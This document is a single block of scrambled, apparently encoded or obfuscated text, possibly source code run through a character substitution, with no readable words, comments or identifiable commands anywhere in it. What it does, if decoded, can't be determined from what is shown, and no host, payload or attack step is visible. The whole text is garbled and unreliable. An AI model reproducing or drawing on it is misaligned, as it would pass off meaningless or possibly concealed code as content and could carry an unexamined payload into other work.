^J					OHEZL 	K[LHB##				[@SJ_CSFAXGMQvQ					SPDBZLLFM] @DZNOYA							[MHEJFO #							O_OYMHM_DL					@N[KMFGKOJZ @DZNOYA			[MHEJFO				POBDJLP@SM^J			KKAEPBMEYMGE L@N@XZX 					[MHEJFO #		@O		_EZOAMvCSX			G\EE 				R#								YCOFJFCO\			@N[KMFGKOJZ _EZOAMvCSX			O_OYMHM_DL #@O		SPDBZLLFM] YCOFJFCO\  		[@SJ_CSFAXGMQvQ			YCOFJFCO\###	T	LEZL			R#	[@SJ_CSFAXGMQvQ										O_OYMHM_DLHBPZ^OESvYXyayvdhcf{vl{z`fgHDXNJQAHBPZ^OESvYX##						T#@DZNOYA		@N[KMFGKOJZ @DZNOYA				POBDJLP@SM^J						@N[KMFGKOJZ L@N@XZX  #	##	T##	[L]\[G		[@SJ_CSFAXGMQvQ								@DZNOYA###	T#		O\GJ]@FG			NXZD@CEJMZ\@C]_]YAEMZK #R###	[L]\[G	#	##					T#		O\GJ]@FG			G_MBD\S]JYM]_]YAEMZK #			R##	@O	SPDBZLLFM] ]_]YAEMZK  		[L]\[G	###	@O	MLO@GLMKKAEPBMEYMGE   		[L]\[G	]_]YAEMZK#	BPEGMCCP				FZLYYKLLEQ[\Ahkzyh}a						SPDBZLLFM] 					  #						@O						KKAEPBMEYMGE KKAEPBMEYMGE 			BPEGMCCP					SPDBZLLFM] 	]_]YAEMZK  				[L]\[G	#		[L]\[G					]_]YAEMZK#			T#	O\GJ]@FG					_vCY[CYPXM@@DZNOYA #R#@O		@^v_XSYHPXKSN @DZNOYA 			UU				@DZNOYA					 	[L]\[G			@DZNOYA#			DCD[LZ@BKN\_			@M\[^SLG]QQBQQ@DZNOYA			KKAEPBMEYMGE 		SPDBZLLFM]  #				DCD[LZ@BKN\_				@M\[^SLG]QQBQQDCD[LZ@BKN\_	SPDBZLLFM] 		@^v_XSYHPXKSN  #			@O			KKAEPBMEYMGE DCD[LZ@BKN\_  	DCD[LZ@BKN\_				KKAEPBMEYMGE KKAEPBMEYMGE 									DCD[LZ@BKN\_ ####	@O			@N[KMFGKOJZ DCD[LZ@BKN\_  						DCD[LZ@BKN\_			@DZNOYAN_LNNLNHPSAyayv`g}vdhqyayv`g}vdhqKOZZXS\G\vN_LNNLNHPSA#				@O			^K[DE^CJM[X_QDCD[LZ@BKN\_  				R##				DCD[LZ@BKN\_				@M\[^SLG]QQBQQDCD[LZ@BKN\_			SPDBZLLFM] 	KKAEPBMEYMGE  ###DCD[LZ@BKN\_							@M\[^SLG]QQBQQDCD[LZ@BKN\_		@N[KMFGKOJZ 					@N[KMFGKOJZ  #		@O			@N[KMFGKOJZ DCD[LZ@BKN\_  			DCD[LZ@BKN\_						KKAEPBMEYMGE SPDBZLLFM] 				DCD[LZ@BKN\_ #	T##	[L]\[G						KKAEPBMEYMGE DCD[LZ@BKN\_ 			DCD[LZ@BKN\_			@DZNOYA##T#		O\GJ]@FG	SK\\QEE@DZNOYA #			R#	@O					@^v_XSYHPXKSN @DZNOYA 	UU	MLO@GLMKKAEPBMEYMGE   	[L]\[G	OHEZL#				@O		@^v_XSYHPXKSN @N[KMFGKOJZ 		@DZNOYA  			[L]\[G	][\L####XP^EQZ\^GMDQB							FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 			QQ  #@O	KKAEPBMEYMGE SPDBZLLFM] 	@DZNOYA				KFXBHS  	R#		OF[LHJA	KFXBHSrt					HZ				EH^NGFYP 						R#						@O	@^v_XSYHPXKSN EH^NGFYP			  									XP^EQZ\^GMDQB 		[L]\[G						][\L#							T###T#	vMM							SPDBZLLFM] @N[KMFGKOJZ hkzyh}a						SPDBZLLFM]  								  #				@O			KKAEPBMEYMGE SPDBZLLFM] 		@DZNOYA		vMD  	R#	~y	zYHJL[	kEFJB	J\Z]FD@SL[	][HGZYF[]##	OF[LHJA			vMDrt			HZ		BQLDY]\MPD 				R#@O	BQLDY]\MPD							vMM 		[L]\[G	][\L#		T#	T#[L]\[G				OHEZL###				T#	O\GJ]@FG	AQMv^^^JCCKPK\DZX ##			R#		@O	@ZZL]vnl}rSPDBZLLFM] t 	UU		@N[KMFGKOJZ vnl}r@N[KMFGKOJZ t 		UU				@N[KMFGKOJZ @^v_XSYHPXKSN   		[L]\[G#					LvEON_]Hv\						iNL]vFY]@FG@^v_XSYHPXKSN 		H[[HP  #@O	@^v_XSYHPXKSN LvEON_]Hv\  			[L]\[G#	EYCHFE			Z][@GN 	vnl}r@^v_XSYHPXKSN t#	[O]_BMPZAQ		H[[HP #	@O	@ZZL]LvEON_]Hv\r]t  				[O]_BMPZAQrt				Z][@GN 				LvEON_]Hv\r]t#				@O			@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 							KKAEPBMEYMGE LvEON_]Hv\rSPDBZLLFM] t  	R#OF[LHJA						LvEON_]Hv\rSPDBZLLFM] t			HZ		A]NE\PCXOJ 	R###		@O				KKAEPBMEYMGE A]NE\PCXOJ 											@ZZL]A]NE\PCXOJr]t  		[O]_BMPZAQrt						Z][@GN 				A]NE\PCXOJr]t#						T#	T#	_\EB@OS]XNS_H			OHEZL#		OF[LHJA					[O]_BMPZAQ	HZ			J[AQGD]]O 			RX@NLQGZyayvdhcf{vl{z`fg_^AHKN]XX@NLQGZ#		@O	J[AQGD]]O					 			JFG]@G\L#		_\EB@OS]XNS_H					KKAEPBMEYMGE KKAEPBMEYMGE  				AHZAvLX\HEZJ[AQGD]]O					EYCHFE 					J[AQGD]]O							EYCHFE #		@O		_\EB@OS]XNS_H 				K[LHB#		T#	iMLY[F_@Z@FG	ZJALM\EL[##	@O		_\EB@OS]XNS_H 	[L]\[G####@O			SPDBZLLFM] SPDBZLLFM]   		R####			SPDBZLLFM] O\GJ]@FG		 	\ZL	EYCHFE 		R#					LJAF					uGzjb					EYCHFE				@N[KMFGKOJZ #	T ##				T#	T#	O\GJ]@FG		_HAOOJEGvM\FEEZZ #					R#						@O		SPDBZLLFM] SPDBZLLFM]   		[L]\[G		OHEZL###		_CZDGOY							iNL]vFY]@FGSPDBZLLFM] 		 ####	@O	KKAEPBMEYMGE _CZDGOY 			UU		@N[KMFGKOJZ _CZDGOY			@N[KMFGKOJZ  		 	[L]\[G				OHEZL#ZFG@XPvLZDC_							@G] 		@^v_XSYHPXKSN _CZDGOY	w  #						@O			ZFG@XPvLZDC_						@^v_XSYHPXKSN  					ZFG@XPvLZDC_				  	[L]\[G	OHEZL#[L]\[G					][\L#	T#O\GJ]@FG	GJvF\F]HHS@GEQBCJL	\SZ\LFZAK@HB #R#	dLDJHJALM	HMHY]L[	\GEFHM	^H]L[DH[B##			@O						SPDBZLLFM] @^v_XSYHPXKSN  		UU	KKAEPBMEYMGE @^v_XSYHPXKSN   	[L]\[G		OHEZL##					@O		_HAOOJEGvM\FEEZZ  				[L]\[G	][\L#					LvEON_]Hv\					iNL]vFY]@FGSPDBZLLFM] 			H[[HP  #		@O		@^v_XSYHPXKSN LvEON_]Hv\  		LvEON_]Hv\						H[[HP #							@O		@ZZL]LvEON_]Hv\rKKAEPBMEYMGE t 		UU	KKAEPBMEYMGE LvEON_]Hv\rSPDBZLLFM] t  		R####^CGMFZY[Y						H[[HP ###	@O		@ZZL]LvEON_]Hv\r]t		LvEON_]Hv\rYt	LvEON_]Hv\rKt  			R#	Y[F_@Z@FG	Z][FGN	GFD@GHE]PYL##					^CGMFZY[Yr@N[KMFGKOJZ Z][@GN 			LvEON_]Hv\rYt t				H[[HP]						Z][@GN 	LvEON_]Hv\r]t					Y					Z][@GN 			LvEON_]Hv\rYt		K							Z][@GN 	LvEON_]Hv\rKt					KKAEPBMEYMGE 		@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 					@G] 		LvEON_]Hv\rKKAEPBMEYMGE t				@N[KMFGKOJZ  	KKAEPBMEYMGE 						G					 #	T#				LvEON_]Hv\				H[[HP@N[KMFGKOJZ 				^CGMFZY[Y #		T#			O_H@GEPZC						KKAEPBMEYMGE GEQBCJL ##				@O				@ZZL]LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCt  	R#					LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtr@N[KMFGKOJZ t									KKAEPBMEYMGE  ####		LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCtr@^v_XSYHPXKSN t							###					LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtrGt			\SZ\LFZAK@HB					 										#@O	ZKXOKS\JGG_ZQC@QYLvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtrKt						\SZ\LFZAK@HB  		R#								FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					@N[KMFGKOJZ  #	[L]\[G				OHEZL#		T##T		LEZL		R#							[YBEB\JZ					^D]]OFPX_KGKN@ #	BZPAOYSSSEBMC				[YBEB\JZ				KKAEPBMEYMGE 					FZLYYKLLEQ[\AGEQBCJL		  							@N[KMFGKOJZ #@O	ZKXOKS\JGG_ZQC@QYBZPAOYSSSEBMC			\SZ\LFZAK@HB  		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 						SPDBZLLFM]  ####					[L]\[G		OHEZL####	T#		LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCt						H[[HP]					LQQJANXGGQNw  			Y						GEQBCJL					K					BZPAOYSSSEBMC	@N[KMFGKOJZ 		@^v_XSYHPXKSN  	SPDBZLLFM] 			G			\SZ\LFZAK@HB					 														 ##	T#					^A@EL					@N[KMFGKOJZ LvEON_]Hv\r@^v_XSYHPXKSN t 								  	R#				OP^LXX[HZOXQ							G\EE####					ACSZKSJL\[F					G\EE###	OF[LHJA			LvEON_]Hv\r@N[KMFGKOJZ t		HZ		X]HQKXGG\GX			DPCLEFX 	R###			@O				ACSZKSJL\[F						G\EE	UU	@G] 	DPCLEFXrSPDBZLLFM] t							ACSZKSJL\[F 	RSJXGSBOKQLMQ FXFMvvGA_SJXGSBOK####							ACSZKSJL\[F			@G] 	DPCLEFXrKKAEPBMEYMGE t#OP^LXX[HZOXQ				X]HQKXGG\GX##	T#		T#		@O			OP^LXX[HZOXQ					G\EE 	K[LHB#	@PE[Z\[XJ_PLXGLvEON_]Hv\r@^v_XSYHPXKSN trOP^LXX[HZOXQtrKt #			\GZL]LvEON_]Hv\rKKAEPBMEYMGE trOP^LXX[HZOXQt #						T##					i\YMH]LvFY]@FGSPDBZLLFM] 				LvEON_]Hv\				@N[KMFGKOJZ  #			@^v_XSYHPXKSN SPDBZLLFM]  #	[L]\[G			][\L#	T###				O\GJ]@FG	@MAAGZP\YJBJDECDCJYMNO #					R####			@M]C[_E^C]GSP			iSPDBZLLFM] CDCJYMNO		H[[HP@N[KMFGKOJZ 					 				SPDBZLLFM] 					OHEZL		@N[KMFGKOJZ 			][\L						@N[KMFGKOJZ 												@N[KMFGKOJZ 				H[[HPSPDBZLLFM] 						SPDBZLLFM] 					@^v_XSYHPXKSN 						SPDBZLLFM]    #					@O				SPDBZLLFM] SPDBZLLFM]  			@Zv^YvL[[F[@M]C[_E^C]GSP  		[L]\[G	H[[HP	OHEZL #						]KD]PF\EJY								SPDBZLLFM] KKAEPBMEYMGE  				@G] 			^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP 			#		[L]\[G		H[[HP]KD]PF\EJY		]KD]PF\EJY											KKAEPBMEYMGE SPDBZLLFM]  		Z][@GN 					^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP 				 #		T#O\GJ]@FG			_OMJDHJMLYGvD_]A]NE\PCXOJ #R#		FEH^L^MJ									i@^v_XSYHPXKSN A]NE\PCXOJrKt OQ[\AHXYMLJCYAYMOQ[\A##@O		@^v_XSYHPXKSN FEH^L^MJ  	[L]\[G	OHEZL#					@O				FEH^L^MJ									 	R#@O			LDY]PA]NE\PCXOJrGt  	[L]\[G		OHEZL	#				@JNBXDB@LXA					i@N[KMFGKOJZ A]NE\PCXOJrYt #				@O			@JNBXDB@LXA 					RDBOSOKYyayv`g}vdhqyayv`g}vdhqK[vK_CGQDBOSOKY#				XX]L[vEYC^\OZSZ_@JLA]NE\PCXOJrYt		  #							@JNBXDB@LXA			@PE[Z\[XJ_PLXGA]NE\PCXOJrYt #			T#		@O			SPDBZLLFM] @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LA]NE\PCXOJrYt	][\L #		[L]\[G	@JNBXDB@LXAMJYZX_ACyayvdhcf{vl{z`fg[OCGLZMJYZX_AC#				T#								@O			ZKXOKS\JGG_ZQC@QYA]NE\PCXOJrYt		FEH^L^MJ  				[L]\[G		OHEZL##					@O		KKAEPBMEYMGE @^v_XSYHPXKSN   		iFYJHJALv@G_HE@MH]LA]NE\PCXOJrYt		][\L ###				[L]\[G			][\L#T###				O\GJ]@FG				G\PJBFHvFMPKG #		R#@O	KKAEPBMEYMGE SPDBZLLFM]   		[L]\[G#		LvEON_]Hv\				iNL]vFY]@FGSPDBZLLFM] 	H[[HP  ###					@O	@^v_XSYHPXKSN LvEON_]Hv\  	[L]\[G#							@O				@ZZL]LvEON_]Hv\r@^v_XSYHPXKSN t 		UU		@N[KMFGKOJZ LvEON_]Hv\rSPDBZLLFM] t  						R#			^CGMFZY[Y			H[[HP #			@O						@ZZL]LvEON_]Hv\r]t		LvEON_]Hv\rYt			LvEON_]Hv\rKt  	R####^CGMFZY[YrKKAEPBMEYMGE Z][@GN 		LvEON_]Hv\rYt t						H[[HP]								Z][@GN 					LvEON_]Hv\r]t		Y		Z][@GN 			LvEON_]Hv\rYt		K				Z][@GN 	LvEON_]Hv\rKt	KKAEPBMEYMGE 				@ZZL]LvEON_]Hv\rKKAEPBMEYMGE t 							@G] 	LvEON_]Hv\rKKAEPBMEYMGE t			SPDBZLLFM]  	SPDBZLLFM] 			 #T#LvEON_]Hv\			H[[HPKKAEPBMEYMGE 					^CGMFZY[Y YOBM_DNJNSKZYOBM_D#	T#			@O	LDY]PLvEON_]Hv\rSPDBZLLFM] t  				R#	iMLEL]LvFY]@FGKKAEPBMEYMGE  #	[L]\[GHZv\]^ZQEZCQ^ZQ^HZv\]^Z#T#					Z]H]@J		G]\BPQ						OHEZL##@O		G]\BPQ 					[L]\[G##						G]\BPQ					][\L#	@O				@^v_XSYHPXKSN @N[KMFGKOJZ   	i@^v_XSYHPXKSN  #LEZL@O						@N[KMFGKOJZ SPDBZLLFM]   				i@^v_XSYHPXKSN  #@O					SPDBZLLFM] SPDBZLLFM]   				i@N[KMFGKOJZ ][\L #				@O					@^v_XSYHPXKSN @^v_XSYHPXKSN  		UU	SPDBZLLFM] KKAEPBMEYMGE   	[L]\[G#		F@FXBDGBB[]						AFDLv\[E ##			^v@SQZN					@^v_XSYHPXKSN SPDBZLLFM]  				^YvEFN@Gv\[E 						F@FXBDGBB[]			@N[KMFGKOJZ #			NKQ[LX_[JP											OHEZL#			PXFMv]^D					][\L#CL]GEvXXB		 #			OF[LHJA			LvEON_]Hv\r@^v_XSYHPXKSN t	HZ	O_H@GEPZC				A]NE\PCXOJ 		R#		@O					KKAEPBMEYMGE A]NE\PCXOJ 			UU			LDY]PA]NE\PCXOJr]t 		UU		LDY]PA]NE\PCXOJrYt 			UU			LDY]PA]NE\PCXOJrKt  		R#		\GZL]LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCt #		NKQ[LX_[JP			][\L#		JFG]@G\L#		T#@O						@^v_XSYHPXKSN  				@G] 		A]NE\PCXOJrKKAEPBMEYMGE t			 		UU		@G] 				A]NE\PCXOJrSPDBZLLFM] t					  	R###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@N[KMFGKOJZ 			KKAEPBMEYMGE A]NE\PCXOJrYt  #				@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #						\GZL]LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCt #			NKQ[LX_[JP							][\L#			JFG]@G\L#			T#							@O				CL]GEvXXB				 	K[LHB#		CL]GEvXXB#		KCQHOv@[HHO					KKAEPBMEYMGE 				KKAEPBMEYMGE A]NE\PCXOJr]t 		@^v_XSYHPXKSN 					SPDBZLLFM] QOOQHO 		  #	E@Z]]KD]PF\EJY		AGDPK]KvZQOEZ 									@MAAGZP\YJBJDEF@FXBDGBB[]			KCQHOv@[HHO #@O	]KD]PF\EJY				 		PXFMv]^D		OHEZL#	@O						]KD]PF\EJY								SPDBZLLFM] KKAEPBMEYMGE   				SPDBZLLFM]  #					@O		]KD]PF\EJY							 			R###			E@Z]]KD]PF\EJY			AGDPK]KvZQOEZ 			@MAAGZP\YJBJDEF@FXBDGBB[]						KCQHOv@[HHO ###	@O				]KD]PF\EJY					 						PXFMv]^D				OHEZL####T#				@O		]KD]PF\EJY		 	R#		LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCtrKKAEPBMEYMGE t#NKQ[LX_[JP				][\L#JFG]@G\L####			T#	@O			]KD]PF\EJY				  				R#						@O			_OMJDHJMLYGvD_]A]NE\PCXOJ  	R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	@N[KMFGKOJZ 							@^v_XSYHPXKSN A]NE\PCXOJrYt  #@PE[Z\[XJ_PLXGA]NE\PCXOJrKt ####	\GZL]LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCt #		T				LEZL	R###	LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtrSPDBZLLFM] t#				T#NKQ[LX_[JP			][\L#JFG]@G\L#		T#						@O	KKAEPBMEYMGE AGDPK]KvZQOEZ	@N[KMFGKOJZ 							A]NE\PCXOJr]t				KKAEPBMEYMGE  						OHEZL 				R#	@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #	\GZL]LvEON_]Hv\rSPDBZLLFM] trO_H@GEPZCt #		NKQ[LX_[JP		][\L#JFG]@G\L##		T#		E@Z]vK_@S[					X[vP^OZQLE 				@MAAGZP\YJBJDE^v@SQZN		@N[KMFGKOJZ ^v@SQZN				 			OHEZL											 					@N[KMFGKOJZ 			KKAEPBMEYMGE A]NE\PCXOJr]t 				@N[KMFGKOJZ 						KKAEPBMEYMGE  	   #							@O		vK_@S[					 	PXFMv]^D		OHEZL###		@O			vK_@S[									  		R#			@O		_OMJDHJMLYGvD_]A]NE\PCXOJ  				R#	~y	}HN	jEF\M	EHSP	Z@GNEL]FG###			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		KKAEPBMEYMGE 								KKAEPBMEYMGE A]NE\PCXOJrYt  ####						@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #			\GZL]LvEON_]Hv\r@^v_XSYHPXKSN trO_H@GEPZCt ##			T		LEZL					R#		LvEON_]Hv\rKKAEPBMEYMGE trO_H@GEPZCtr@^v_XSYHPXKSN t#			T#	NKQ[LX_[JP						][\L##	JFG]@G\L###	T#				@O			@N[KMFGKOJZ X[vP^OZQLE 								KKAEPBMEYMGE X[vP^OZQLE	KKAEPBMEYMGE 		A]NE\PCXOJr]t			SPDBZLLFM]  					OHEZL 			R#@PE[Z\[XJ_PLXGA]NE\PCXOJrKt #			\GZL]LvEON_]Hv\r@^v_XSYHPXKSN trO_H@GEPZCt #			NKQ[LX_[JP						][\L####JFG]@G\L#	T#			LvEON_]Hv\r@N[KMFGKOJZ trO_H@GEPZCtr@^v_XSYHPXKSN t#	NKQ[LX_[JP				][\L#	T#		@O			PXFMv]^D			NKQ[LX_[JP		LDY]PLvEON_]Hv\rKKAEPBMEYMGE t  		RFYOX@P^EJDAyayvdhcf{vl{z`fgBvGLPOvFYOX@P^EJDA###						JH]B@FZ					OHEZL#			OF[LHJA				LvEON_]Hv\r@^v_XSYHPXKSN t		HZ			CA[AYYHX 				R#	HJJ\D\EH]L	ELHBPK\JBL]	OF[	~y	kEFJB	H[@H]@FGZ##			@O		@G] 	CA[AYYHXr@N[KMFGKOJZ t						  	R#JH]B@FZ						][\LFE@B[BEBG^[JLvSKFE@B[BEBG^#		K[LHB#			T#			T###	@O		JH]B@FZ 			R#i\YMH]LvFY]@FG@N[KMFGKOJZ 				@N[KMFGKOJZ 				@N[KMFGKOJZ  					SPDBZLLFM]  ###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN  #	OF[LHJA	LvEON_]Hv\rKKAEPBMEYMGE t	HZ		X]HQKXGG\GX								CA[AYYHX 					R#					@PE[Z\[XJ_PLXGCA[AYYHXrKt #				\GZL]LvEON_]Hv\rSPDBZLLFM] trX]HQKXGG\GXt #		##				T####		T##				T				LEZL@O		PXFMv]^D 	R#	~y	x\L[P	eFFY	Z[JZL]	MLZJ[@Y]F[##		YYOOJPZFS^				iNL]vFY]@FGKKAEPBMEYMGE 				 #							@O				@N[KMFGKOJZ YYOOJPZFS^ 						UU		@N[KMFGKOJZ YYOOJPZFS^				@N[KMFGKOJZ  						 		i\YMH]LvFY]@FGKKAEPBMEYMGE 			KKAEPBMEYMGE 						@N[KMFGKOJZ  			SPDBZLLFM]  #			T#@O			LDY]PLvEON_]Hv\r@N[KMFGKOJZ t  		iMLEL]LvFY]@FG@^v_XSYHPXKSN  #			LEZL@O				NKQ[LX_[JP 					i\YMH]LvFY]@FGSPDBZLLFM] 						LvEON_]Hv\		KKAEPBMEYMGE  #				T#				O\GJ]@FG	O@HHBZGGMX_Q]]_BZ@DZNOYA ##			R#	[L]\[G					@^v_XSYHPXKSN @DZNOYA 							KKAEPBMEYMGE @DZNOYA	SPDBZLLFM]  								OHEZL			UU	KKAEPBMEYMGE @DZNOYA			@^v_XSYHPXKSN  								OHEZL		UU	SPDBZLLFM] @DZNOYA	@^v_XSYHPXKSN  							OHEZL			UU		KKAEPBMEYMGE @DZNOYA			@N[KMFGKOJZ  					OHEZL			UU		@^v_XSYHPXKSN @DZNOYA	@^v_XSYHPXKSN  					OHEZL	UU			KKAEPBMEYMGE @DZNOYA				KKAEPBMEYMGE  									OHEZL #			T#O\GJ]@FG		L_^DMvHDJGK@vPSLMPD@DZNOYA #	R#		@O	O@HHBZGGMX_Q]]_BZ@DZNOYA  						[L]\[G	OHEZL#							@O		^K[DE^CJM[X_Q@DZNOYA  			[L]\[G		][\L#	@O					@^v_XSYHPXKSN @^v_XSYHPXKSN 	@DZNOYA					_CZDGOY  		R####		OF[LHJA		_CZDGOYrt				HZ				DPCLEFX 	R#	@O	_L[Z@FGvJFDYH[LDPCLEFX		^NKBHS]S^NFHGH^O] 				  		[L]\[G					][\L#				T#			[L]\[G	OHEZL#		T#[L]\[G		][\L#				T#			O\GJ]@FG				YEvGGGZ^GDSZ\]OEKOHSDG@[F #R#	@O		iKKAEPBMEYMGE OEKOHSDG@[F 					UU			iSPDBZLLFM] OEKOHSDG@[F  					[L]\[G#		AADEEDPN]]LF								i@N[KMFGKOJZ OEKOHSDG@[F ##			@O			AADEEDPN]]LF 		[L]\[G#@O			AADEEDPN]]LF						  		R#		Z^ECCFJ@AQA_					i@N[KMFGKOJZ OEKOHSDG@[F					OHEZL		G\EE			  #					@O		O@HHBZGGMX_Q]]_BZZ^ECCFJ@AQA_  		[L]\[G#			@O			\ZNQXBNHJLN[YPCN@NEOEKOHSDG@[F 								OHEZL 		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN 					@N[KMFGKOJZ OEKOHSDG@[F  #[L]\[G#T#	i@^v_XSYHPXKSN OEKOHSDG@[F					YAYuG #	@O		KKAEPBMEYMGE @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LOEKOHSDG@[F	][\L #	[L]\[G#T#@O					AADEEDPN]]LF					  					R#			ZJHXO									Z][@GN 		i@^v_XSYHPXKSN OEKOHSDG@[F		OHEZL		G\EE			QMQJ  #		DXE]A]F					AADEEDPN]]LF							  							Z][@GN 		iSPDBZLLFM] OEKOHSDG@[F		OHEZL				G\EE	AADEEDPN]]LF								  			#			M\B\SGHJCHO^Z						ZJHXO			DXE]A]F#		@O	M\B\SGHJCHO^Z												KKAEPBMEYMGE SPDBZLLFM] 			M\B\SGHJCHO^Z			DPSXY]Q^J]Q  		R#PY\YLDAE@_				OHEZL#			OF[LHJA		DPSXY]Q^J]Qrt		HZ	B^MJPM 			R#							@O	_L[Z@FGvJFDYH[LB^MJPM			^NKBHS]S^NFHGH^O] 						  	R#		PY\YLDAE@_				][\L#K[LHB#		T#		T#						@O			PY\YLDAE@_ 	[L]\[G#T#		T#	@DZNOYA				iKKAEPBMEYMGE OEKOHSDG@[F ###		@O	@^v_XSYHPXKSN @DZNOYA 						SPDBZLLFM] @DZNOYA 				  		@DZNOYA			C^v@Z@\@ACBCL@DZNOYA #		@O				@^v_XSYHPXKSN @DZNOYA  			[L]\[G#					@O				L_^DMvHDJGK@vPSLMPD@DZNOYA  					[L]\[G#		_LLvB@L@F_JBOEKOHSDG@[F	@DZNOYA #						T#O\GJ]@FG		_LLvB@L@F_JBOEKOHSDG@[F		@DZNOYA #R###DCD[LZ@BKN\_				KKAEPBMEYMGE KKAEPBMEYMGE 						@DZNOYA #@O			@^v_XSYHPXKSN DCD[LZ@BKN\_ 			UU				SPDBZLLFM] DCD[LZ@BKN\_ 						UU		@^v_XSYHPXKSN DCD[LZ@BKN\_ 			KKAEPBMEYMGE  		DCD[LZ@BKN\_					YAYuG#				@O	SPDBZLLFM] DCD[LZ@BKN\_ 							 						_SMG[M@XJvKJSK\DCD[LZ@BKN\_  	DCD[LZ@BKN\_									YAYuGYB^LY^JPyayv`g}vdhqyayv`g}vdhqY[DSL^[HYB^LY^JP#	vMDHQOQHZ[KK				iO@ELYL[DZOEKOHSDG@[F ###							vMDHQOQHZ[KK						vMDHQOQHZ[KK					OHEZL 				 					vMDHQOQHZ[KK				  #		ZNPCJXZF								i@N[KMFGKOJZ OEKOHSDG@[F #	E^^FYvAH[			i@N[KMFGKOJZ KKAEPBMEYMGE OEKOHSDG@[F 				SPDBZLLFM]  #	@O					E^^FYvAH[						OHEZL 				[L]\[G#	@O		iSPDBZLLFM] E^^FYvAH[			DCD[LZ@BKN\_ 				@N[KMFGKOJZ DCD[LZ@BKN\_  		R#							iKKAEPBMEYMGE E^^FYvAH[ #			[L]\[G#	T#		iKKAEPBMEYMGE E^^FYvAH[			vMDHQOQHZ[KK #@O	iKKAEPBMEYMGE E^^FYvAH[		OEKOHSDG@[F  		R#		i@N[KMFGKOJZ E^^FYvAH[ #				[L]\[G#								T#			@O	ZNPCJXZF 				i@N[KMFGKOJZ OEKOHSDG@[F		ZNPCJXZF #			@O		KKAEPBMEYMGE @^v_XSYHPXKSN   				iFYJHJALv@G_HE@MH]LOEKOHSDG@[F	][\L #						T###	O\GJ]@FG					@\XBCXP^XZCS]_]YAEMZK #	R###			@O		@^v_XSYHPXKSN ]_]YAEMZK  	[L]\[G	#		@O	@^v_XSYHPXKSN KKAEPBMEYMGE 		]_]YAEMZK				KNv_v[C]vF  					R#	@ZN[XKKQY			KNv_v[C]vFrt#####				AADEEDPN]]LF				iKKAEPBMEYMGE @ZN[XKKQY 						i@N[KMFGKOJZ @ZN[XKKQY 				#@O		AADEEDPN]]LF		UU	AADEEDPN]]LF				QMQM 			UU		AADEEDPN]]LF				  	R#	X\HG]@OP	F_L[ALHM##	@O					AADEEDPN]]LF				  	R###			N[QOPCHHG_C								i@^v_XSYHPXKSN @ZN[XKKQY #			@O		@N[KMFGKOJZ N[QOPCHHG_C  				N[QOPCHHG_C			@ZN[XKKQY#N[QOPCHHG_C			KKAEPBMEYMGE uu				N[QOPCHHG_C #EJSOA^YQ\B				OHEZL#			OMLYF^vE\@MK						H[[HPMLO@GLMKKAEPBMEYMGE  						SPDBZLLFM] hkzyh}a	SPDBZLLFM]  						MLO@GLMSPDBZLLFM]  		SPDBZLLFM] ~yvjfg}lg}vm`{			@N[KMFGKOJZ  		 ####						OF[LHJA		OMLYF^vE\@MK				HZ	PSH^NGL_G[M_M 					R#			PSH^NGL_G[M_M			@N[KMFGKOJZ uu					PSH^NGL_G[M_M #				@O					PSH^NGL_G[M_M								SPDBZLLFM] N[QOPCHHG_C				PSH^NGL_G[M_M						 			 	R#				EJSOA^YQ\B						][\L#K[LHB#	T####T#						@O					EJSOA^YQ\B				\ZNQXBNHJLN[YPCN@NE@ZN[XKKQY 				OHEZL 		R#	iSPDBZLLFM] @ZN[XKKQY #i@N[KMFGKOJZ @N[KMFGKOJZ @ZN[XKKQY 							SPDBZLLFM] 							@N[KMFGKOJZ @ZN[XKKQY				SPDBZLLFM]   #		T			LEZL						R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ 			KKAEPBMEYMGE @ZN[XKKQY  #T#		T###				[L]\[G			####T#T#	ZL[@HE@SL	GF[DHE	]\DKE@GN^@GMF^##				[L]\[G		]_]YAEMZK#T###								O\GJ]@FG		G^JO_P\K #R##	Z]H]@J	@ZN[XKKQY			G\EE#@O			@ZN[XKKQY							G\EE 				R#						YCOFJFCO\									AM_PYB]^H_BM_ #			@ZN[XKKQY								SPDBZLLFM] YCOFJFCO\ 						@ZZL]YCOFJFCO\r@^v_XSYHPXKSN t 			SPDBZLLFM] Z][@GN 		YCOFJFCO\rSPDBZLLFM] t	@N[KMFGKOJZ  									 #T#	[L]\[G		@ZN[XKKQY#	T####				O\GJ]@FG					SJQHNAP_F@EL #		R#@O			MLO@GLM@N[KMFGKOJZ   						[L]\[G##MLXDFHODDKY							hkzyh}a				@N[KMFGKOJZ #	@O		i@^v_XSYHPXKSN MLXDFHODDKY  			R#		@JXPJQGNHPB^[^				@N[KMFGKOJZ hkzyh}a 						@N[KMFGKOJZ #@O		i@^v_XSYHPXKSN @JXPJQGNHPB^[^  	MLXDFHODDKY							@JXPJQGNHPB^[^###		T#						@O					iKKAEPBMEYMGE 